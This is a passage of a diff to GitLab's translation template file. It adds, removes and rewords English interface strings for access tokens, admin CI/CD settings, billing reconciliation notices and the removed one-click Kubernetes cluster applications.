msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
